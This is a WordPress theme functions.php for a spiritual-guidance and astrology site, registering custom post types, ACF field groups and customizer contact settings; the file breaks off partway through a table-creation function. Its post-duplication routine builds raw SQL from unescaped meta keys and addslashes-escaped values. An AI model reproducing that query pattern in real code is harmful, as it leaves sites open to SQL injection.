File: /var/www/html/acharyarajnikant.com/wp-content/themes/acharyarajnikant/functions.php
<?php
/**
* Acharya Rajnikant functions and definitions
*
* @link https://developer.wordpress.org/themes/basics/theme-functions/
*
* @package Acharya_Rajnikant
*/
if (!defined('ABSPATH')) {
exit; // Exit if accessed directly.
}
/**
* Theme Setup
*/
function acharyarajnikant_setup()
{
// Add default posts and comments RSS feed links to head.
add_theme_support('automatic-feed-links');
/**
* Let WordPress manage the document title.
*/
add_theme_support('title-tag');
/**
* Enable support for Post Thumbnails on posts and pages.
*/
add_theme_support('post-thumbnails');
/**
* Register Nav Menus
*/
register_nav_menus(array(
'primary' => esc_html__('Primary Menu', 'acharyarajnikant'),
'footer' => esc_html__('Footer Menu', 'acharyarajnikant'),
));
/**
* Switch default core markup for search form, comment form, and comments
* to output valid HTML5.
*/
add_theme_support('html5', array(
'search-form',
'comment-form',
'comment-list',
'gallery',
'caption',
'style',
'script',
));
// Add theme support for selective refresh for widgets.
add_theme_support('customize-selective-refresh-widgets');
/**
* Add support for core custom logo.
*/
add_theme_support('custom-logo', array(
'height' => 250,
'width' => 250,
'flex-width' => true,
'flex-height' => true,
));
}
add_action('after_setup_theme', 'acharyarajnikant_setup');
/**
* Register widget area.
*/
function acharyarajnikant_widgets_init()
{
register_sidebar(
array(
'name' => esc_html__('Sidebar', 'acharyarajnikant'),
'id' => 'sidebar-1',
'description' => esc_html__('Add widgets here.', 'acharyarajnikant'),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
)
);
}
add_action('widgets_init', 'acharyarajnikant_widgets_init');
/**
* Enqueue scripts and styles.
*/
function acharyarajnikant_scripts()
{
// Enqueue Google Fonts
wp_enqueue_style('acharyarajnikant-fonts', 'https://fonts.googleapis.com/css2?family=Inter:ital,opsz,wght@0,14..32,100..900;1,14..32,100..900&family=Tiro+Devanagari+Hindi:ital@0;1&display=swap', array(), null);
// Enqueue Bootstrap 5 CSS
wp_enqueue_style('bootstrap-5', 'https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css', array(), '5.3.3');
// Enqueue Bootstrap Icons
wp_enqueue_style('bootstrap-icons', 'https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.3/font/bootstrap-icons.min.css', array(), '1.11.3');
// Enqueue Swiper CSS
wp_enqueue_style('swiper', 'https://cdn.jsdelivr.net/npm/swiper@11/swiper-bundle.min.css', array(), '11.0.0');
// Enqueue GLightbox CSS
wp_enqueue_style('glightbox-css', 'https://cdn.jsdelivr.net/npm/glightbox/dist/css/glightbox.min.css', array(), '3.2.0');
// Enqueue Main Stylesheet
wp_enqueue_style('acharyarajnikant-style', get_stylesheet_uri(), array('bootstrap-5', 'swiper', 'glightbox-css'), '1.0.0');
// Enqueue Bootstrap 5 JS Bundle
wp_enqueue_script('bootstrap-5-js', 'https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/js/bootstrap.bundle.min.js', array(), '5.3.3', true);
// Enqueue Swiper JS
wp_enqueue_script('swiper-js', 'https://cdn.jsdelivr.net/npm/swiper@11/swiper-bundle.min.js', array(), '11.0.0', true);
// Enqueue GLightbox JS
wp_enqueue_script('glightbox-js', 'https://cdn.jsdelivr.net/npm/glightbox/dist/js/glightbox.min.js', array(), '3.2.0', true);
// Enqueue Custom JS
wp_enqueue_script('acharyarajnikant-main', get_template_directory_uri() . '/assets/js/main.js', array('jquery', 'bootstrap-5-js', 'swiper-js', 'glightbox-js'), '1.0.0', true);
// Localize script to pass ajax_url
wp_localize_script('acharyarajnikant-main', 'acharyarajnikant_ajax', array(
'ajax_url' => admin_url('admin-ajax.php')
));
if (is_singular() && comments_open() && get_option('thread_comments')) {
wp_enqueue_script('comment-reply');
}
}
add_action('wp_enqueue_scripts', 'acharyarajnikant_scripts');
/**
* Custom template tags for this theme.
*/
require get_template_directory() . '/inc/template-tags.php';
/**
* Functions which enhance the theme by hooking into WordPress.
*/
require get_template_directory() . '/inc/template-functions.php';
/**
* Filter the menu items to add Bootstrap classes
*/
function acharyarajnikant_add_menu_link_class($atts, $item, $args)
{
if (property_exists($args, 'theme_location') && $args->theme_location === 'primary') {
$atts['class'] = 'nav-link';
}
return $atts;
}
add_filter('nav_menu_link_attributes', 'acharyarajnikant_add_menu_link_class', 1, 3);
function acharyarajnikant_add_menu_list_item_class($classes, $item, $args)
{
if (property_exists($args, 'theme_location') && $args->theme_location === 'primary') {
$classes[] = 'nav-item';
}
return $classes;
}
/**
* Fallback for wp_nav_menu
*
* @param array $args Passed arguments.
*/
function acharyarajnikant_menu_fallback($args)
{
if (!current_user_can('manage_options')) {
return;
}
$pages = get_pages(array(
'number' => 5,
'sort_column' => 'menu_order',
));
echo '<ul id="' . esc_attr($args['menu_id']) . '" class="' . esc_attr($args['menu_class']) . '">';
foreach ($pages as $page) {
echo '<li class="nav-item"><a href="' . esc_url(get_permalink($page->ID)) . '" class="nav-link">' . esc_html($page->post_title) . '</a></li>';
}
echo '</ul>';
}
/**
* Dynamic Breadcrumb Navigation
*/
function acharyarajnikant_breadcrumb($text_class = 'text-white')
{
if (is_front_page()) {
return;
}
$front_page_id = get_option('page_on_front');
$front_page_title = $front_page_id ? get_the_title($front_page_id) : esc_html__('Home', 'acharyarajnikant');
?>
<nav aria-label="breadcrumb">
<ol class="breadcrumb justify-content-center mb-0">
<li class="breadcrumb-item">
<a href="<?php echo esc_url(home_url('/')); ?>"
class="<?php echo esc_attr($text_class); ?> opacity-75 text-decoration-none">
<?php echo esc_html($front_page_title); ?>
</a>
</li>
<?php if (is_page()): ?>
<li class="breadcrumb-item active <?php echo esc_attr($text_class); ?> fw-bold" aria-current="page">
<?php the_title(); ?>
</li>
<?php elseif (is_single()): ?>
<li class="breadcrumb-item active <?php echo esc_attr($text_class); ?> fw-bold" aria-current="page">
<?php the_title(); ?>
</li>
<?php elseif (is_archive()): ?>
<li class="breadcrumb-item active <?php echo esc_attr($text_class); ?> fw-bold" aria-current="page">
<?php the_archive_title(); ?>
</li>
<?php endif; ?>
</ol>
</nav>
<?php
}
/**
* Register Custom Post Type for Services
*/
function acharyarajnikant_register_services_cpt()
{
$labels = array(
'name' => _x('Services', 'Post Type General Name', 'acharyarajnikant'),
'singular_name' => _x('Service', 'Post Type Singular Name', 'acharyarajnikant'),
'menu_name' => __('Services', 'acharyarajnikant'),
'name_admin_bar' => __('Service', 'acharyarajnikant'),
'archives' => __('Service Archives', 'acharyarajnikant'),
'attributes' => __('Service Attributes', 'acharyarajnikant'),
'parent_item_colon' => __('Parent Service:', 'acharyarajnikant'),
'all_items' => __('All Services', 'acharyarajnikant'),
'add_new_item' => __('Add New Service', 'acharyarajnikant'),
'add_new' => __('Add New', 'acharyarajnikant'),
'new_item' => __('New Service', 'acharyarajnikant'),
'edit_item' => __('Edit Service', 'acharyarajnikant'),
'update_item' => __('Update Service', 'acharyarajnikant'),
'view_item' => __('View Service', 'acharyarajnikant'),
'view_items' => __('View Services', 'acharyarajnikant'),
'search_items' => __('Search Service', 'acharyarajnikant'),
'not_found' => __('Not found', 'acharyarajnikant'),
'not_found_in_trash' => __('Not found in Trash', 'acharyarajnikant'),
'featured_image' => __('Featured Image', 'acharyarajnikant'),
'set_featured_image' => __('Set featured image', 'acharyarajnikant'),
'remove_featured_image' => __('Remove featured image', 'acharyarajnikant'),
'use_featured_image' => __('Use as featured image', 'acharyarajnikant'),
'insert_into_item' => __('Insert into service', 'acharyarajnikant'),
'uploaded_to_this_item' => __('Uploaded to this service', 'acharyarajnikant'),
'items_list' => __('Services list', 'acharyarajnikant'),
'items_list_navigation' => __('Services list navigation', 'acharyarajnikant'),
'filter_items_list' => __('Filter services list', 'acharyarajnikant'),
);
$args = array(
'label' => __('Service', 'acharyarajnikant'),
'description' => __('Custom Post Type for Services', 'acharyarajnikant'),
'labels' => $labels,
'supports' => array('title', 'editor', 'thumbnail', 'excerpt'),
'hierarchical' => false,
'public' => true,
'show_ui' => true,
'show_in_menu' => true,
'menu_position' => 5,
'menu_icon' => 'dashicons-hammer',
'show_in_admin_bar' => true,
'show_in_nav_menus' => true,
'can_export' => true,
'has_archive' => false,
'exclude_from_search' => true,
'publicly_queryable' => false,
'rewrite' => false,
'capability_type' => 'page',
);
register_post_type('services', $args);
}
add_action('init', 'acharyarajnikant_register_services_cpt', 0);
/**
* Register ACF Fields for Services CPT via Code
*/
if (function_exists('acf_add_local_field_group')):
acf_add_local_field_group(array(
'key' => 'group_service_details',
'title' => 'Service Details',
'fields' => array(
array(
'key' => 'field_service_icon',
'label' => 'Service Icon',
'name' => 'service_icon',
'type' => 'select',
'instructions' => 'Select an icon for this service.',
'required' => 0,
'choices' => array(
'bi-moon-stars' => 'Moon & Stars (Astrology)',
'bi-house-door' => 'House (Vastu)',
'bi-heart' => 'Heart (Relationship)',
'bi-lightning-charge' => 'Lightning (Energy/Coaching)',
'bi-gem' => 'Gemstone',
'bi-fire' => 'Fire (Rituals/Puja)',
'bi-sun' => 'Sun',
'bi-brightness-high' => 'Brightness',
'bi-person-check' => 'Person (Consultation)',
'bi-flower1' => 'Flower',
'bi-peace' => 'Peace',
'bi-infinite' => 'Infinite',
),
'default_value' => 'bi-moon-stars',
'allow_null' => 0,
'multiple' => 0,
'ui' => 1,
'ajax' => 0,
'return_format' => 'value',
'placeholder' => '',
),
array(
'key' => 'field_service_features',
'label' => 'Service Features',
'name' => 'service_features',
'type' => 'repeater',
'instructions' => 'Add key features or bullet points for this service.',
'required' => 0,
'conditional_logic' => 0,
'wrapper' => array(
'width' => '',
'class' => '',
'id' => '',
),
'collapsed' => '',
'min' => 0,
'max' => 0,
'layout' => 'table',
'button_label' => 'Add Feature',
'sub_fields' => array(
array(
'key' => 'field_feature_text',
'label' => 'Feature Text',
'name' => 'feature_text',
'type' => 'text',
'instructions' => '',
'required' => 1,
'conditional_logic' => 0,
'wrapper' => array(
'width' => '',
'class' => '',
'id' => '',
),
'default_value' => '',
'placeholder' => '',
'prepend' => '',
'append' => '',
'maxlength' => '',
),
),
),
array(
'key' => 'field_enquiry_url',
'label' => 'Enquiry URL',
'name' => 'enquiry_url',
'type' => 'url',
'instructions' => 'Custom link for the Enquiry button. Leave blank for default WhatsApp.',
'required' => 0,
'conditional_logic' => 0,
'wrapper' => array(
'width' => '',
'class' => '',
'id' => '',
),
'default_value' => '',
'placeholder' => '',
),
),
'location' => array(
array(
array(
'param' => 'post_type',
'operator' => '==',
'value' => 'services',
),
),
),
'menu_order' => 0,
'position' => 'normal',
'style' => 'default',
'label_placement' => 'top',
'instruction_placement' => 'label',
'hide_on_screen' => '',
'active' => true,
'description' => '',
));
endif;
/**
* Duplicate posts and pages
*/
function acharyarajnikant_duplicate_post_as_draft()
{
global $wpdb;
if (!(isset($_GET['post']) || isset($_POST['post']) || (isset($_REQUEST['action']) && 'acharyarajnikant_duplicate_post_as_draft' == $_REQUEST['action']))) {
wp_die('No post to duplicate has been supplied!');
}
/*
* Nonce verification
*/
if (!isset($_GET['duplicate_nonce']) || !wp_verify_nonce($_GET['duplicate_nonce'], basename(__FILE__))) {
return;
}
/*
* get the original post id
*/
$post_id = (isset($_GET['post']) ? absint($_GET['post']) : absint($_POST['post']));
/*
* and all the original post data then
*/
$post = get_post($post_id);
/*
* if you don't want current user to be the new post author,
* then change next couple of lines to this: $new_post_author = $post->post_author;
*/
$current_user = wp_get_current_user();
$new_post_author = $current_user->ID;
/*
* if post data exists, create the post duplicate
*/
if (isset($post) && $post != null) {
/*
* new post data array
*/
$args = array(
'comment_status' => $post->comment_status,
'ping_status' => $post->ping_status,
'post_author' => $new_post_author,
'post_content' => $post->post_content,
'post_excerpt' => $post->post_excerpt,
'post_name' => $post->post_name,
'post_parent' => $post->post_parent,
'post_password' => $post->post_password,
'post_status' => 'draft',
'post_title' => $post->post_title . ' (Copy)',
'post_type' => $post->post_type,
'to_ping' => $post->to_ping,
'menu_order' => $post->menu_order
);
/*
* insert the post by wp_insert_post() function
*/
$new_post_id = wp_insert_post($args);
/*
* get all current post terms ad set them to the new post draft
*/
$taxonomies = get_object_taxonomies($post->post_type); // returns array of taxonomy names for post type, ex array("category", "post_tag");
foreach ($taxonomies as $taxonomy) {
$post_terms = wp_get_object_terms($post_id, $taxonomy, array('fields' => 'slugs'));
wp_set_object_terms($new_post_id, $post_terms, $taxonomy, false);
}
/*
* duplicate all post meta just in two sql queries
*/
$post_meta_infos = $wpdb->get_results("SELECT meta_key, meta_value FROM $wpdb->postmeta WHERE post_id=$post_id");
if (count($post_meta_infos) != 0) {
$sql_query = "INSERT INTO $wpdb->postmeta (post_id, meta_key, meta_value) ";
$sql_query_sel = array();
foreach ($post_meta_infos as $meta_info) {
$meta_key = $meta_info->meta_key;
if ($meta_key == '_wp_old_slug')
continue;
$meta_value = addslashes($meta_info->meta_value);
$sql_query_sel[] = "SELECT $new_post_id, '$meta_key', '$meta_value'";
}
$sql_query .= implode(" UNION ALL ", $sql_query_sel);
$wpdb->query($sql_query);
}
/*
* finally, redirect to the edit post screen for the new draft
*/
wp_redirect(admin_url('post.php?action=edit&post=' . $new_post_id));
exit;
} else {
wp_die('Post creation failed, could not find original post: ' . $post_id);
}
}
add_action('admin_action_acharyarajnikant_duplicate_post_as_draft', 'acharyarajnikant_duplicate_post_as_draft');
/*
* Add the duplicate link to edit screen list
*/
function acharyarajnikant_duplicate_post_link($actions, $post)
{
if (current_user_can('edit_posts')) {
$actions['duplicate'] = '<a href="' . wp_nonce_url('admin.php?action=acharyarajnikant_duplicate_post_as_draft&post=' . $post->ID, basename(__FILE__), 'duplicate_nonce') . '" title="Duplicate this item" rel="permalink">Duplicate</a>';
}
return $actions;
}
add_filter('post_row_actions', 'acharyarajnikant_duplicate_post_link', 10, 2);
add_filter('page_row_actions', 'acharyarajnikant_duplicate_post_link', 10, 2);
/**
* Add ACF Options Page for Global Settings
*/
if (function_exists('acf_add_options_page')) {
acf_add_options_page(array(
'page_title' => 'Global Settings',
'menu_title' => 'Global Settings',
'menu_slug' => 'global-settings',
'capability' => 'edit_posts',
'redirect' => false
));
}
/**
* Register Global CTA Fields
*/
if (function_exists('acf_add_local_field_group')):
acf_add_local_field_group(array(
'key' => 'group_global_cta',
'title' => 'Global CTA Settings',
'fields' => array(
array(
'key' => 'field_cta_title',
'label' => 'CTA Title',
'name' => 'cta_title',
'type' => 'text',
'default_value' => 'Ready to Begin Your Journey?',
),
array(
'key' => 'field_cta_description',
'label' => 'CTA Description',
'name' => 'cta_description',
'type' => 'textarea',
'default_value' => 'Schedule a 1-on-1 consultation today and take the first step towards a better life with ancient wisdom.',
),
array(
'key' => 'field_cta_button_text',
'label' => 'CTA Button Text',
'name' => 'cta_button_text',
'type' => 'text',
'default_value' => 'WhatsApp Now',
),
array(
'key' => 'field_cta_button_url',
'label' => 'CTA Button URL',
'name' => 'cta_button_url',
'type' => 'text',
'default_value' => 'https://wa.me/917651945303',
),
// Videos Section
array(
'key' => 'field_videos_tab',
'label' => 'Videos Section',
'type' => 'tab',
'placement' => 'top',
'endpoint' => 0,
),
array(
'key' => 'field_videos_subtitle',
'label' => 'Videos Subtitle',
'name' => 'videos_subtitle',
'type' => 'text',
'default_value' => 'Spiritual Wisdom in Motion',
),
array(
'key' => 'field_videos_title',
'label' => 'Videos Title',
'name' => 'videos_title',
'type' => 'text',
'default_value' => 'Divine Discourses',
),
array(
'key' => 'field_videos_repeater',
'label' => 'Videos',
'name' => 'videos_repeater',
'type' => 'repeater',
'layout' => 'table',
'button_label' => 'Add Video',
'sub_fields' => array(
array(
'key' => 'field_video_title',
'label' => 'Video Title',
'name' => 'video_title',
'type' => 'text',
),
array(
'key' => 'field_video_url',
'label' => 'Video URL (YouTube Embed)',
'name' => 'video_url',
'type' => 'url',
'instructions' => 'e.g., https://www.youtube.com/embed/21j_jM9BAV0?autoplay=1',
),
array(
'key' => 'field_video_thumbnail',
'label' => 'Custom Thumbnail (Optional)',
'name' => 'video_thumbnail',
'type' => 'image',
'return_format' => 'url',
'instructions' => 'If left blank, it will try to fetch from YouTube ID.',
),
array(
'key' => 'field_youtube_id',
'label' => 'YouTube ID (Optional)',
'name' => 'youtube_id',
'type' => 'text',
'instructions' => 'e.g., 21j_jM9BAV0. Used for thumbnail fallback.',
),
),
),
// Shorts Section
array(
'key' => 'field_shorts_tab',
'label' => 'Shorts Section',
'type' => 'tab',
'placement' => 'top',
'endpoint' => 0,
),
array(
'key' => 'field_shorts_subtitle',
'label' => 'Shorts Subtitle',
'name' => 'shorts_subtitle',
'type' => 'text',
'default_value' => 'Bite-sized Wisdom',
),
array(
'key' => 'field_shorts_title',
'label' => 'Shorts Title',
'name' => 'shorts_title',
'type' => 'text',
'default_value' => 'Spiritual Shorts',
),
array(
'key' => 'field_shorts_repeater',
'label' => 'Shorts',
'name' => 'shorts_repeater',
'type' => 'repeater',
'layout' => 'table',
'button_label' => 'Add Short',
'sub_fields' => array(
array(
'key' => 'field_short_url',
'label' => 'Short URL (YouTube Embed)',
'name' => 'short_url',
'type' => 'url',
),
array(
'key' => 'field_short_youtube_id',
'label' => 'YouTube ID',
'name' => 'youtube_id',
'type' => 'text',
),
),
),
// Quote Section
array(
'key' => 'field_quote_tab',
'label' => 'Quote Section',
'type' => 'tab',
),
array(
'key' => 'field_quote_text',
'label' => 'Quote Text',
'name' => 'quote_text',
'type' => 'textarea',
'default_value' => 'The light of spiritual knowledge is the only force that can dispel the darkness of ignorance and bring lasting peace.',
),
array(
'key' => 'field_quote_author',
'label' => 'Quote Author',
'name' => 'quote_author',
'type' => 'text',
'default_value' => 'Acharya Rajnikant',
),
),
'location' => array(
array(
array(
'param' => 'options_page',
'operator' => '==',
'value' => 'global-settings',
),
),
),
));
endif;
/**
* Register ACF Fields for About Page Template
*/
if (function_exists('acf_add_local_field_group')):
acf_add_local_field_group(array(
'key' => 'group_about_page',
'title' => 'About Page Content',
'fields' => array(
// Intro Section
array(
'key' => 'field_intro_tab',
'label' => 'Introduction Section',
'type' => 'tab',
),
array(
'key' => 'field_intro_image',
'label' => 'Introduction Image',
'name' => 'intro_image',
'type' => 'image',
'return_format' => 'url',
),
array(
'key' => 'field_intro_badge',
'label' => 'Introduction Badge',
'name' => 'intro_badge',
'type' => 'text',
'default_value' => 'The Journey',
),
array(
'key' => 'field_intro_title',
'label' => 'Introduction Title',
'name' => 'intro_title',
'type' => 'text',
'default_value' => 'A Path of Devotion & Wisdom',
),
array(
'key' => 'field_intro_lead',
'label' => 'Introduction Lead Text',
'name' => 'intro_lead',
'type' => 'textarea',
'default_value' => 'Acharya Rajnikant Ji is a distinguished spiritual guide and Vedic expert dedicated to helping souls find their true purpose and harmony in a complex world.',
),
array(
'key' => 'field_intro_content',
'label' => 'Introduction Content',
'name' => 'intro_content',
'type' => 'wysiwyg',
'tabs' => 'all',
'toolbar' => 'basic',
'media_upload' => 0,
),
// Mission Section
array(
'key' => 'field_mission_tab',
'label' => 'Mission Section',
'type' => 'tab',
),
array(
'key' => 'field_mission_badge',
'label' => 'Mission Badge',
'name' => 'mission_badge',
'type' => 'text',
'default_value' => 'Our Mission',
),
array(
'key' => 'field_mission_title',
'label' => 'Mission Title',
'name' => 'mission_title',
'type' => 'text',
'default_value' => 'Empowering Lives Through Vedic Science',
),
array(
'key' => 'field_mission_lead',
'label' => 'Mission Lead Text',
'name' => 'mission_lead',
'type' => 'textarea',
'default_value' => 'We aim to preserve and share the eternal truths of the Vedas in a way that is accessible, practical, and life-changing for the modern seeker.',
),
array(
'key' => 'field_mission_features',
'label' => 'Mission Features',
'name' => 'mission_features',
'type' => 'repeater',
'layout' => 'table',
'button_label' => 'Add Feature',
'sub_fields' => array(
array(
'key' => 'field_mission_feature_text',
'label' => 'Feature Text',
'name' => 'feature_text',
'type' => 'text',
),
),
),
array(
'key' => 'field_mission_image',
'label' => 'Mission Image',
'name' => 'mission_image',
'type' => 'image',
'return_format' => 'url',
),
),
'location' => array(
array(
array(
'param' => 'page_template',
'operator' => '==',
'value' => 'templates/about-template.php',
),
),
),
));
// Register Gallery Page Content
acf_add_local_field_group(array(
'key' => 'group_gallery_page_content',
'title' => 'Gallery Page Content',
'fields' => array(
array(
'key' => 'field_gallery_badge',
'label' => 'Gallery Badge',
'name' => 'gallery_badge',
'type' => 'text',
'default_value' => 'Visual Moments',
),
array(
'key' => 'field_gallery_title',
'label' => 'Gallery Title',
'name' => 'gallery_title',
'type' => 'text',
'default_value' => 'Glimpses of Enlightenment',
),
),
'location' => array(
array(
array(
'param' => 'page_template',
'operator' => '==',
'value' => 'templates/gallery-template.php',
),
),
),
));
// Register Services Page Content
acf_add_local_field_group(array(
'key' => 'group_services_page_content',
'title' => 'Services Page Content',
'fields' => array(
array(
'key' => 'field_services_badge',
'label' => 'Services Badge',
'name' => 'services_badge',
'type' => 'text',
'default_value' => 'Comprehensive Guidance',
),
array(
'key' => 'field_services_title',
'label' => 'Services Title',
'name' => 'services_title',
'type' => 'text',
'default_value' => 'Solutions for Every Life Path',
),
array(
'key' => 'field_services_description',
'label' => 'Services Description',
'name' => 'services_description',
'type' => 'textarea',
'default_value' => 'Explore our range of specialized spiritual services designed to bring clarity, prosperity, and peace to your life through ancient wisdom.',
),
),
'location' => array(
array(
array(
'param' => 'page_template',
'operator' => '==',
'value' => 'templates/services-template.php',
),
),
),
));
// Register Contact Page Content
acf_add_local_field_group(array(
'key' => 'group_contact_page_content',
'title' => 'Contact Page Content',
'fields' => array(
array(
'key' => 'field_contact_badge',
'label' => 'Contact Badge',
'name' => 'contact_badge',
'type' => 'text',
'default_value' => 'Reach Out',
),
array(
'key' => 'field_contact_title',
'label' => 'Contact Title',
'name' => 'contact_title',
'type' => 'text',
'default_value' => 'Let\'s Start a Conversation',
),
array(
'key' => 'field_contact_description',
'label' => 'Contact Description',
'name' => 'contact_description',
'type' => 'textarea',
'default_value' => 'Whether you have a question about our services, need a consultation, or just want to share your spiritual journey, we\'re here to listen and guide.',
),
),
'location' => array(
array(
array(
'param' => 'page_template',
'operator' => '==',
'value' => 'templates/contact-template.php',
),
),
),
));
// Register Event Fields
acf_add_local_field_group(array(
'key' => 'group_event_details',
'title' => 'Event Details',
'fields' => array(
array(
'key' => 'field_event_date',
'label' => 'Event Date',
'name' => 'event_date',
'type' => 'text',
'instructions' => 'e.g. 15 - 17 April 2026',
),
array(
'key' => 'field_event_venue',
'label' => 'Event Venue',
'name' => 'event_venue',
'type' => 'text',
'instructions' => 'e.g. Shri Laxmi Narayan Mandir, Surrey',
),
array(
'key' => 'field_event_address',
'label' => 'Event Address',
'name' => 'event_address',
'type' => 'text',
'instructions' => 'e.g. 8321 140 ST, Surrey',
),
array(
'key' => 'field_event_location',
'label' => 'Event Location',
'name' => 'event_location',
'type' => 'text',
'instructions' => 'e.g. British Columbia, V3W 5K9 Canada',
),
array(
'key' => 'field_event_time',
'label' => 'Event Time',
'name' => 'event_time',
'type' => 'text',
'instructions' => 'e.g. 5:30 PM to 8:00 PM',
),
array(
'key' => 'field_event_start_date',
'label' => 'Start Date & Time',
'name' => 'event_start_date',
'type' => 'date_time_picker',
'display_format' => 'd/m/Y g:i a',
'return_format' => 'd/m/Y g:i a',
),
array(
'key' => 'field_event_end_date',
'label' => 'End Date & Time',
'name' => 'event_end_date',
'type' => 'date_time_picker',
'display_format' => 'd/m/Y g:i a',
'return_format' => 'd/m/Y g:i a',
),
),
'location' => array(
array(
array(
'param' => 'post_type',
'operator' => '==',
'value' => 'event',
),
),
),
));
endif;
/**
* Register Custom Post Type for Gallery
*/
function acharyarajnikant_register_gallery_cpt()
{
$labels = array(
'name' => 'Gallery Items',
'singular_name' => 'Gallery Item',
'menu_name' => 'Gallery',
'name_admin_bar' => 'Gallery Item',
'add_new' => 'Add New',
'add_new_item' => 'Add New Gallery Item',
'new_item' => 'New Gallery Item',
'edit_item' => 'Edit Gallery Item',
'view_item' => 'View Gallery Item',
'all_items' => 'All Gallery Items',
'search_items' => 'Search Gallery',
'parent_item_colon' => 'Parent Gallery Items:',
'not_found' => 'No gallery items found.',
'not_found_in_trash' => 'No gallery items found in Trash.',
);
$args = array(
'labels' => $labels,
'public' => false, // Don't need single pages
'publicly_queryable' => false,
'show_ui' => true,
'show_in_menu' => true,
'query_var' => true,
'rewrite' => false,
'capability_type' => 'post',
'has_archive' => false,
'hierarchical' => false,
'menu_position' => 20,
'menu_icon' => 'dashicons-format-gallery',
'supports' => array('title', 'thumbnail'),
);
register_post_type('gallery_item', $args);
// Register Taxonomy for Gallery Categories
$tax_labels = array(
'name' => 'Gallery Categories',
'singular_name' => 'Gallery Category',
'search_items' => 'Search Categories',
'all_items' => 'All Categories',
'parent_item' => 'Parent Category',
'parent_item_colon' => 'Parent Category:',
'edit_item' => 'Edit Category',
'update_item' => 'Update Category',
'add_new_item' => 'Add New Category',
'new_item_name' => 'New Category Name',
'menu_name' => 'Categories',
);
$tax_args = array(
'hierarchical' => true,
'labels' => $tax_labels,
'show_ui' => true,
'show_admin_column' => true,
'query_var' => true,
'rewrite' => array('slug' => 'gallery_category'),
);
register_taxonomy('gallery_category', array('gallery_item'), $tax_args);
}
add_action('init', 'acharyarajnikant_register_gallery_cpt');
/**
* Register Custom Post Type for Events
*/
function acharyarajnikant_register_event_cpt()
{
$labels = array(
'name' => 'Events',
'singular_name' => 'Event',
'menu_name' => 'Events',
'name_admin_bar' => 'Event',
'add_new' => 'Add New Event',
'add_new_item' => 'Add New Event',
'new_item' => 'New Event',
'edit_item' => 'Edit Event',
'view_item' => 'View Event',
'all_items' => 'All Events',
'search_items' => 'Search Events',
'not_found' => 'No events found.',
);
$args = array(
'labels' => $labels,
'public' => true,
'publicly_queryable' => true,
'show_ui' => true,
'show_in_menu' => true,
'query_var' => true,
'rewrite' => array('slug' => 'events'),
'capability_type' => 'post',
'has_archive' => true,
'hierarchical' => false,
'menu_position' => 21,
'menu_icon' => 'dashicons-calendar-alt',
'supports' => array('title', 'thumbnail'),
);
register_post_type('event', $args);
}
add_action('init', 'acharyarajnikant_register_event_cpt');
/**
* Register Theme Customizer Settings
*/
function acharyarajnikant_customize_register($wp_customize)
{
// Contact Information Section
$wp_customize->add_section('contact_info_section', array(
'title' => 'Contact Information',
'priority' => 30,
'description' => 'Update your contact details and social links here.',
));
// Location
$wp_customize->add_setting('contact_location', array('default' => 'Varanasi, Uttar Pradesh, India', 'sanitize_callback' => 'sanitize_text_field'));
$wp_customize->add_control('contact_location', array('label' => 'Location', 'section' => 'contact_info_section', 'type' => 'text'));
// Phone
$wp_customize->add_setting('contact_phone', array('default' => '+91 7651945303', 'sanitize_callback' => 'sanitize_text_field'));
$wp_customize->add_control('contact_phone', array('label' => 'Phone Number', 'section' => 'contact_info_section', 'type' => 'text'));
// Email
$wp_customize->add_setting('contact_email', array('default' => 'info@acharyarajnikant.com', 'sanitize_callback' => 'sanitize_email'));
$wp_customize->add_control('contact_email', array('label' => 'Email Address', 'section' => 'contact_info_section', 'type' => 'email'));
// WhatsApp Text
$wp_customize->add_setting('contact_whatsapp_text', array('default' => 'Chat with us anytime', 'sanitize_callback' => 'sanitize_text_field'));
$wp_customize->add_control('contact_whatsapp_text', array('label' => 'WhatsApp Text', 'section' => 'contact_info_section', 'type' => 'text'));
// WhatsApp Link
$wp_customize->add_setting('contact_whatsapp_link', array('default' => 'https://wa.me/917651945303', 'sanitize_callback' => 'esc_url_raw'));
$wp_customize->add_control('contact_whatsapp_link', array('label' => 'WhatsApp Link', 'section' => 'contact_info_section', 'type' => 'url'));
// Social Links
$wp_customize->add_setting('social_facebook', array('default' => '#', 'sanitize_callback' => 'esc_url_raw'));
$wp_customize->add_control('social_facebook', array('label' => 'Facebook URL', 'section' => 'contact_info_section', 'type' => 'url'));
$wp_customize->add_setting('social_instagram', array('default' => '#', 'sanitize_callback' => 'esc_url_raw'));
$wp_customize->add_control('social_instagram', array('label' => 'Instagram URL', 'section' => 'contact_info_section', 'type' => 'url'));
$wp_customize->add_setting('social_youtube', array('default' => '#', 'sanitize_callback' => 'esc_url_raw'));
$wp_customize->add_control('social_youtube', array('label' => 'YouTube URL', 'section' => 'contact_info_section', 'type' => 'url'));
$wp_customize->add_setting('social_twitter', array('default' => '#', 'sanitize_callback' => 'esc_url_raw'));
$wp_customize->add_control('social_twitter', array('label' => 'Twitter URL', 'section' => 'contact_info_section', 'type' => 'url'));
$wp_customize->add_setting('social_linkedin', array('default' => '#', 'sanitize_callback' => 'esc_url_raw'));
$wp_customize->add_control('social_linkedin', array('label' => 'LinkedIn URL', 'section' => 'contact_info_section', 'type' => 'url'));
// Google Maps Embed URL
$wp_customize->add_setting('contact_map_url', array(
'default' => 'https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d115348.64364125866!2d82.90870634628468!3d25.3208940424564!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x398e2db760f55555%3A0x63f543728a1639c!2sVaranasi%2C%20Uttar%20Pradesh!5e0!3m2!1sen!2sin!4v1713254321234!5m2!1sen!2sin',
'sanitize_callback' => 'esc_url_raw'
));
$wp_customize->add_control('contact_map_url', array(
'label' => 'Google Maps Embed URL',
'section' => 'contact_info_section',
'type' => 'url',
'description' => 'Go to Google Maps -> Share -> Embed a map -> Copy the src="..." URL.'
));
}
add_action('customize_register', 'acharyarajnikant_customize_register');
/**
* Create Contact Messages Table
*/
function acharyarajnikant_create_contact_table()
{
global $wpdb;
$table_name = $wpdb->prefix . 'contact_messages';
// Check if table exists
if ($wpdb->get_var("SHOW TABLES LIKE '$table_name'") != $table_name) {
$charset_collate = $wpdb->get_charset_collate();
$sql = "CREATE TABLE $table_name (
